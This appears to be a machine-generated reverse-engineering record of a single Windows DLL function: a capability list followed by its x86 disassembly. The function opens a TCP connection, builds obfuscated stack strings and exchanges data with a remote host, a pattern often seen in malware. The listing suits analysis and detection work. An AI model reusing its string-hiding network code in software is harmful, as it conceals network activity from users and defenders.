Function at 0x10005260
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
sub esp, 0xed0
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], edi
call fcn.10006400
test eax, eax
je 0x1000528b
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xed0
ret 0x14
lea eax, [esp + 0x8d8]
push 0x104
push eax
push 0x1000a40c
mov ecx, 0x10010fd0
call fcn.10001b50
lea ecx, [esp + 0x198]
lea edx, [esp + 0xae0]
push ecx
push 0x400
push edx
mov edx, dword [esp + 0xef0]
lea eax, [esp + 0x3e4]
push 0x100
push eax
lea ecx, [esp + 0x1d8]
push 0x14
push ecx
push edx
mov ecx, edi
call fcn.100050b0
lea esi, [esp + 0x8d8]
lea eax, [esp + 0x1c4]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x10005318
test cl, cl
je 0x10005314
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x10005318
add eax, 2
add esi, 2
test cl, cl
jne 0x100052f0
xor eax, eax
jmp 0x1000531d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005333
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xed0
ret 0x14
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10005358
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xed0
ret 0x14
mov eax, dword [esp + 0x198]
mov word [esp + 0x1b4], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x3d8]
mov word [esp + 0x1b6], ax
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edx, dword [eax + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x1b8]
push edx
push ebp
mov ecx, dword [eax]
mov dword [esp + 0x1c4], ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x100053bb
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xed0
ret 0x14
mov al, byte [esp + 0xae0]
test al, al
jne 0x100053de
push 0x400
lea eax, [esp + 0xae4]
push 0x1000a290
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [esp + 0xeec]
lea ecx, [esp + 0x4d8]
push ebp
push ecx
push edx
mov ecx, edi
call fcn.100063a0
lea eax, [esp + 0xae0]
mov ecx, edi
push eax
push ebp
call fcn.10005030
lea edi, [esp + 0xae0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1d], al
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov al, 0x8a
and ecx, 3
mov byte [esp + 0x20], al
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x21], al
mov bl, 0xac
mov al, 0xe
mov cl, 0x2d
mov dl, 0x2c
mov byte [esp + 0x1c], 0x90
mov byte [esp + 0x1e], 4
mov byte [esp + 0x1f], 9
mov byte [esp + 0x22], 0xa
mov byte [esp + 0x23], 0xe5
mov byte [esp + 0x24], 0x26
mov byte [esp + 0x25], 0xc5
mov byte [esp + 0x26], 6
mov byte [esp + 0x78], 0xd8
mov byte [esp + 0x79], 0
mov byte [esp + 0x7a], 0x28
mov byte [esp + 0x7b], 0x6c
mov byte [esp + 0x7c], 0x6c
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], al
mov byte [esp + 0x7f], 0x8e
mov byte [esp + 0x80], 0x47
mov byte [esp + 0x81], 4
mov byte [esp + 0x82], cl
mov byte [esp + 0x83], 0xad
mov byte [esp + 0x84], dl
mov byte [esp + 0x85], 0xec
mov byte [esp + 0x86], bl
mov byte [esp + 0x87], 0xe5
mov byte [esp + 0x88], 0xec
mov byte [esp + 0x89], cl
mov byte [esp + 0x8a], 0xcc
mov byte [esp + 0x8b], 0x85
mov byte [esp + 0x8c], 4
mov byte [esp + 0x8d], cl
mov byte [esp + 0x8e], 0xad
mov byte [esp + 0x8f], dl
mov byte [esp + 0x90], 0xec
mov byte [esp + 0x91], bl
mov byte [esp + 0x92], 0xe5
mov byte [esp + 0x93], 0xf
mov byte [esp + 0x94], 0xa5
mov byte [esp + 0x95], 0xf
mov byte [esp + 0x96], 0x4c
mov byte [esp + 0x97], cl
mov byte [esp + 0x98], 0x8e
mov byte [esp + 0x99], 0xad
mov byte [esp + 0x9a], dl
mov byte [esp + 0x9b], al
mov byte [esp + 0x9c], 0x85
mov byte [esp + 0x9d], 4
mov byte [esp + 0x9e], cl
mov byte [esp + 0x9f], 0xad
mov byte [esp + 0xa0], dl
mov byte [esp + 0xa1], 0xec
mov byte [esp + 0xa2], bl
mov byte [esp + 0xa3], 0xe5
mov byte [esp + 0xa4], 0x4d
mov byte [esp + 0xa5], al
mov byte [esp + 0xa6], bl
mov byte [esp + 0xa7], 0xec
mov byte [esp + 0xa8], 0x85
mov byte [esp + 0xa9], 4
mov byte [esp + 0xaa], cl
mov byte [esp + 0xab], 0xad
mov byte [esp + 0xac], dl
mov byte [esp + 0xad], 0xec
mov byte [esp + 0xae], bl
mov byte [esp + 0xaf], 0xe5
mov byte [esp + 0xb0], al
mov byte [esp + 0xb1], 0x4d
mov byte [esp + 0xb2], al
mov byte [esp + 0xb3], bl
mov byte [esp + 0xb4], 0xec
mov byte [esp + 0xb5], 0x85
mov byte [esp + 0xb6], 4
mov byte [esp + 0xb7], dl
mov byte [esp + 0xb8], al
mov byte [esp + 0xb9], al
mov byte [esp + 0xba], 0x8d
mov byte [esp + 0xbb], cl
mov byte [esp + 0xbc], 0x6c
mov byte [esp + 0xbd], dl
mov byte [esp + 0xbe], 0x8e
mov byte [esp + 0xbf], cl
mov byte [esp + 0xc0], 0xed
mov byte [esp + 0xc1], 0xcd
mov byte [esp + 0xc2], 0xe5
mov byte [esp + 0xc3], 0xce
mov byte [esp + 0xc4], 0xcd
mov byte [esp + 0xc5], 0x8c
mov byte [esp + 0xc6], 0xc5
mov byte [esp + 0xc7], 0xad
mov byte [esp + 0xc8], 0x6e
mov byte [esp + 0xc9], 0xa5
mov byte [esp + 0xca], bl
mov byte [esp + 0xcb], 0xf
mov byte [esp + 0xcc], 0x6c
mov byte [esp + 0xcd], bl
mov byte [esp + 0xce], 0x8d
mov byte [esp + 0xcf], 0x85
mov byte [esp + 0xd0], 4
mov byte [esp + 0xd1], dl
mov byte [esp + 0xd2], al
mov byte [esp + 0xd3], al
mov byte [esp + 0xd4], 0x8d
mov byte [esp + 0xd5], cl
mov byte [esp + 0xd6], 0x6c
mov byte [esp + 0xd7], dl
mov byte [esp + 0xd8], 0x8e
mov byte [esp + 0xd9], cl
mov byte [esp + 0xda], 0xed
mov byte [esp + 0xdb], 0xcd
mov byte [esp + 0xdc], 0xe5
mov byte [esp + 0xdd], 0xad
mov byte [esp + 0xde], 0x6e
mov byte [esp + 0xdf], 0xee
mov byte [esp + 0xe0], 0xed
mov byte [esp + 0xe1], 0x4e
mov byte [esp + 0xe2], 0x8c
mov byte [esp + 0xe3], 0x85
mov byte [esp + 0xe4], 4
mov byte [esp + 0xe5], dl
mov byte [esp + 0xe6], al
mov byte [esp + 0xe7], al
mov byte [esp + 0xe8], 0x8d
mov byte [esp + 0xe9], cl
mov byte [esp + 0xea], 0x6c
mov byte [esp + 0xeb], dl
mov byte [esp + 0xec], 0x8e
mov byte [esp + 0xed], cl
mov byte [esp + 0xee], 0xed
mov byte [esp + 0xef], 0xcd
mov byte [esp + 0xf0], 0xe5
mov byte [esp + 0xf1], 0xce
mov byte [esp + 0xf2], 0xcd
mov byte [esp + 0xf3], 0x8c
mov byte [esp + 0xf4], 0xc5
mov byte [esp + 0xf5], 0xad
mov byte [esp + 0xf6], 0x6e
mov byte [esp + 0xf7], 0xa5
mov byte [esp + 0xf8], al
mov byte [esp + 0xf9], 0xed
mov byte [esp + 0xfa], 0xee
mov byte [esp + 0xfb], bl
mov byte [esp + 0xfc], 0x4e
mov byte [esp + 0xfd], al
mov byte [esp + 0xfe], 0xed
mov byte [esp + 0xff], cl
mov byte [esp + 0x100], 0xcd
mov byte [esp + 0x101], 0x8e
mov byte [esp + 0x102], 0x85
mov byte [esp + 0x103], 4
mov byte [esp + 0x104], 0x45
mov byte [esp + 0x105], 0xe5
mov byte [esp + 0x106], 0x45
mov byte [esp + 0x40], 0x61
mov byte [esp + 0x41], 0
mov byte [esp + 0x42], 0x28
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0x8e
mov byte [esp + 0x48], 0xa5
mov byte [esp + 0x49], 0x89
mov byte [esp + 0x4a], dl
mov byte [esp + 0x4b], 0xcd
mov byte [esp + 0x4c], 0xec
mov byte [esp + 0x4d], 0xae
mov byte [esp + 0x4e], dl
mov byte [esp + 0x4f], 0xec
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x47
mov byte [esp + 0x52], 4
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0xcd
mov byte [esp + 0x55], 0xa5
mov byte [esp + 0x56], 0xae
mov byte [esp + 0x57], 0x6e
mov byte [esp + 0x58], 0xe1
mov byte [esp + 0x59], 0
mov byte [esp + 0x5a], 0x28
mov byte [esp + 0x5b], 0x6c
mov byte [esp + 0x5c], 0x6c
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], al
mov byte [esp + 0x5f], 0x8e
mov byte [esp + 0x60], 0xa5
mov byte [esp + 0x61], 0xa8
mov byte [esp + 0x62], 0xcd
mov byte [esp + 0x63], 0x6c
mov byte [esp + 0x64], 0xed
mov byte [esp + 0x65], 0x8c
mov byte [esp + 0x66], cl
mov byte [esp + 0x67], 0xcd
mov byte [esp + 0x68], 0xec
mov byte [esp + 0x69], 0x47
mov byte [esp + 0x6a], 4
mov byte [esp + 0x6b], 0xec
mov byte [esp + 0x6c], 0x4f
mov byte [esp + 0x6d], cl
mov byte [esp + 0x6e], al
mov byte [esp + 0x6f], 0x85
mov byte [esp + 0x70], 4
mov byte [esp + 0x71], 0x8c
mov byte [esp + 0x72], bl
mov byte [esp + 0x73], 0xcc
mov byte [esp + 0x74], 0x8d
mov byte [esp + 0x75], dl
mov byte [esp + 0x76], 0x8e
mov byte [esp + 0x77], bl
mov byte [esp + 0x108], 0xd8
mov byte [esp + 0x109], 0
mov byte [esp + 0x10a], 0x28
mov byte [esp + 0x10b], 0x6c
mov byte [esp + 0x10c], 0x6c
mov byte [esp + 0x10d], bl
mov byte [esp + 0x10e], al
mov byte [esp + 0x10f], 0x8e
mov byte [esp + 0x110], 0x47
mov byte [esp + 0x111], 4
mov byte [esp + 0x112], cl
mov byte [esp + 0x113], 0xad
mov byte [esp + 0x114], dl
mov byte [esp + 0x115], 0xec
mov byte [esp + 0x116], bl
mov byte [esp + 0x117], 0xe5
mov byte [esp + 0x118], 0xec
mov byte [esp + 0x119], cl
mov byte [esp + 0x11a], 0xcc
mov byte [esp + 0x11b], 0x85
mov byte [esp + 0x11c], 4
mov byte [esp + 0x11d], cl
mov byte [esp + 0x11e], 0xad
mov byte [esp + 0x11f], dl
mov byte [esp + 0x120], 0xec
mov byte [esp + 0x121], bl
mov byte [esp + 0x122], 0xe5
mov byte [esp + 0x123], 0xf
mov byte [esp + 0x124], 0xa5
mov byte [esp + 0x125], 0xf
mov byte [esp + 0x126], 0x4c
mov byte [esp + 0x127], cl
mov byte [esp + 0x128], 0x8e
mov byte [esp + 0x129], 0xad
mov byte [esp + 0x12a], dl
mov byte [esp + 0x12b], al
mov byte [esp + 0x12c], 0x85
mov byte [esp + 0x12d], 4
mov byte [esp + 0x12e], cl
mov byte [esp + 0x12f], 0xad
mov byte [esp + 0x130], dl
mov byte [esp + 0x131], 0xec
mov byte [esp + 0x132], bl
mov byte [esp + 0x133], 0xe5
mov byte [esp + 0x134], 0x4d
mov byte [esp + 0x135], al
mov byte [esp + 0x136], bl
mov byte [esp + 0x137], 0xec
mov byte [esp + 0x138], 0x85
mov byte [esp + 0x139], 4
mov byte [esp + 0x13a], cl
mov byte [esp + 0x13b], 0xad
mov byte [esp + 0x13c], dl
mov byte [esp + 0x13d], 0xec
mov byte [esp + 0x13e], bl
mov byte [esp + 0x13f], 0xe5
mov byte [esp + 0x140], al
mov byte [esp + 0x141], 0x4d
mov byte [esp + 0x142], al
mov byte [esp + 0x143], bl
mov byte [esp + 0x144], 0xec
mov byte [esp + 0x145], 0x85
mov byte [esp + 0x146], 4
mov byte [esp + 0x147], dl
mov byte [esp + 0x148], al
mov byte [esp + 0x149], al
mov byte [esp + 0x14a], 0x8d
mov byte [esp + 0x14b], cl
mov byte [esp + 0x14c], 0x6c
mov byte [esp + 0x14d], dl
mov byte [esp + 0x14e], 0x8e
mov byte [esp + 0x14f], cl
mov byte [esp + 0x150], 0xed
mov byte [esp + 0x151], 0xcd
mov byte [esp + 0x152], 0xe5
mov byte [esp + 0x153], 0xce
mov byte [esp + 0x154], 0xcd
mov byte [esp + 0x155], 0x8c
mov esi, dword [esp + 0x10]
mov byte [esp + 0x162], al
mov byte [esp + 0x163], al
mov byte [esp + 0x176], al
mov byte [esp + 0x177], al
mov byte [esp + 0x188], al
mov byte [esp + 0x18d], al
mov byte [esp + 0x165], cl
mov byte [esp + 0x169], cl
mov byte [esp + 0x179], cl
mov byte [esp + 0x17d], cl
mov byte [esp + 0x18f], cl
push 1
lea eax, [esp + 0x4dc]
push ebp
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x166], 0xc5
mov byte [esp + 0x167], 0xad
mov byte [esp + 0x168], 0x6e
mov byte [esp + 0x169], 0xa5
mov byte [esp + 0x16a], bl
mov byte [esp + 0x16b], 0xf
mov byte [esp + 0x16c], 0x6c
mov byte [esp + 0x16d], bl
mov byte [esp + 0x16e], 0x8d
mov byte [esp + 0x16f], 0x85
mov byte [esp + 0x170], 4
mov byte [esp + 0x171], dl
mov byte [esp + 0x174], 0x8d
mov byte [esp + 0x176], 0x6c
mov byte [esp + 0x177], dl
mov byte [esp + 0x178], 0x8e
mov byte [esp + 0x17a], 0xed
mov byte [esp + 0x17b], 0xcd
mov byte [esp + 0x17c], 0xe5
mov byte [esp + 0x17d], 0xad
mov byte [esp + 0x17e], 0x6e
mov byte [esp + 0x17f], 0xee
mov byte [esp + 0x180], 0xed
mov byte [esp + 0x181], 0x4e
mov byte [esp + 0x182], 0x8c
mov byte [esp + 0x183], 0x85
mov byte [esp + 0x184], 4
mov byte [esp + 0x185], dl
mov byte [esp + 0x188], 0x8d
mov byte [esp + 0x18a], 0x6c
mov byte [esp + 0x18b], dl
mov byte [esp + 0x18c], 0x8e
mov byte [esp + 0x18e], 0xed
mov byte [esp + 0x18f], 0xcd
mov byte [esp + 0x190], 0xe5
mov byte [esp + 0x191], 0xce
mov byte [esp + 0x192], 0xcd
mov byte [esp + 0x193], 0x8c
mov byte [esp + 0x194], 0xc5
mov byte [esp + 0x195], 0xad
mov byte [esp + 0x196], 0x6e
mov byte [esp + 0x197], 0xa5
mov byte [esp + 0x199], 0xed
mov byte [esp + 0x19a], 0xee
mov byte [esp + 0x19b], bl
mov byte [esp + 0x19c], 0x4e
mov byte [esp + 0x19e], 0xed
mov byte [esp + 0x1a0], 0xcd
mov byte [esp + 0x1a1], 0x8e
mov byte [esp + 0x1a2], 0x85
mov byte [esp + 0x1a3], 4
mov byte [esp + 0x1a4], 0x45
mov byte [esp + 0x1a5], 0xe5
mov byte [esp + 0x1a6], 0x45
call fcn.100064c0
push 1
lea edx, [esp + 0x4dc]
push ebp
lea eax, [esp + 0x80]
push edx
push eax
mov ecx, esi
call fcn.100064c0
push 1
lea ecx, [esp + 0x4dc]
push ebp
lea edx, [esp + 0x48]
push ecx
push edx
mov ecx, esi
call fcn.100064c0
push 1
lea eax, [esp + 0x4dc]
push ebp
lea ecx, [esp + 0x60]
push eax
push ecx
mov ecx, esi
call fcn.100064c0
push 1
lea edx, [esp + 0x4dc]
push ebp
lea eax, [esp + 0x110]
push edx
push eax
mov ecx, esi
call fcn.100064c0
mov edi, dword [esp + 0xef0]
test edi, edi
je 0x10005f7d
lea ecx, [esp + 0x9dc]
push 0x104
lea edx, [esp + 0x2c]
push ecx
push edx
mov ecx, 0x10010fd0
mov byte [esp + 0x34], 0x31
mov byte [esp + 0x35], 0
mov byte [esp + 0x36], 0x68
mov byte [esp + 0x37], 0xed
mov byte [esp + 0x38], 0xcd
mov byte [esp + 0x39], 0x8e
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0xcd
mov byte [esp + 0x3c], 0x8e
mov byte [esp + 0x3d], 0xa5
mov byte [esp + 0x3e], 0x89
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0xcd
mov byte [esp + 0x41], 0xec
mov byte [esp + 0x42], 0x8e
mov byte [esp + 0x43], 0xd
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], 4
mov byte [esp + 0x46], 0xa4
mov byte [esp + 0x47], 0x8d
mov byte [esp + 0x48], 0x8c
call fcn.10001b50
lea eax, [esp + 0x9dc]
push edi
lea ecx, [esp + 0x1dc]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1d8]
mov ecx, 0x10010fd0
push edx
call fcn.10002940
lea eax, [esp + 0x1d8]
mov ecx, esi
push eax
push ebp
call fcn.10005030
lea edi, [esp + 0x1d8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x10]
push 0
lea eax, [esp + 0x4dc]
push ebp
lea ecx, [esp + 0x1c]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x24], 0x60
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 9
mov byte [esp + 0x27], 0xed
mov byte [esp + 0x28], 0x6e
mov byte [esp + 0x29], 0x8e
mov byte [esp + 0x2a], 0x47
mov byte [esp + 0x2b], 4
call fcn.100064c0
lea edx, [esp + 0x3d8]
mov ecx, esi
push edx
push ebp
call fcn.10005030
lea edi, [esp + 0x3d8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000a414
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x14]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call fcn.10005030
mov edi, 0x1000a414
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0xee8]
test edi, edi
je 0x10006086
cmp byte [edi], 0
je 0x10006086
push edi
push ebp
mov ecx, ebx
call fcn.10005030
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x4d8]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x1000a414
push ebp
mov ecx, ebx
call fcn.10005030
mov edi, 0x1000a414
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0xeec]
test edi, edi
je 0x10006114
mov esi, dword [esp + 0xef0]
test esi, esi
je 0x10006114
push eax
push esi
push edi
push ebp
call dword [sym.imp.WS2_32.dll_send]
or ecx, 0xffffffff
xor eax, eax
mov byte [edi + esi], 0
lea edx, [esp + 0x4d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x4d8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
shl ecx, 2
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov edx, eax
mov eax, dword [esp + 0xef8]
lea edi, [esp + 0x4dc]
or ecx, 0xffffffff
mov dword [eax], edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1a8]
push ecx
mov ecx, ebx
call fcn.10004f50
mov edi, dword [sym.imp.WS2_32.dll_recv]
xor esi, esi
mov dword [esp + 0x10], esi
push 0
lea edx, [esp + 0x1dc]
push 1
push edx
push ebp
call edi
test eax, eax
jge 0x10006194
mov esi, 1
mov eax, dword [esp + 0x1d8]
cmp al, 0xa
je 0x100061a9
cmp al, 0xd
je 0x100061be
inc dword [esp + 0x10]
jmp 0x100061be
mov ecx, dword [esp + 0x10]
test ecx, ecx
jne 0x100061b6
mov esi, 1
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x1ac]
push eax
mov ecx, ebx
call fcn.10004fa0
test esi, esi
je 0x1000617c
mov edx, dword [esp + 0xef4]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [esp + 0x1ac]
mov dword [edx + 4], ecx
lea ecx, [esp + 0x19c]
push ecx
mov ecx, ebx
mov byte [eax], 0
call fcn.10004f50
push 0
lea edx, [esp + 0x1dc]
push 0x1ff
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jl 0x10006250
lea eax, [esp + 0x1d8]
push esi
lea ecx, [esp + 0x1a0]
push eax
push ecx
mov ecx, ebx
mov byte [esp + esi + 0x1e4], 0
call fcn.10004fd0
test esi, esi
jle 0x10006250
push 0
lea edx, [esp + 0x1dc]
push 0x1ff
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jge 0x10006214
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0xef4]
push ebp
mov byte [eax], 0
mov eax, dword [esp + 0x1a0]
mov edx, dword [esp + 0x1a4]
mov dword [ecx + 8], eax
sub edx, eax
mov dword [ecx + 0xc], edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xed0
ret 0x14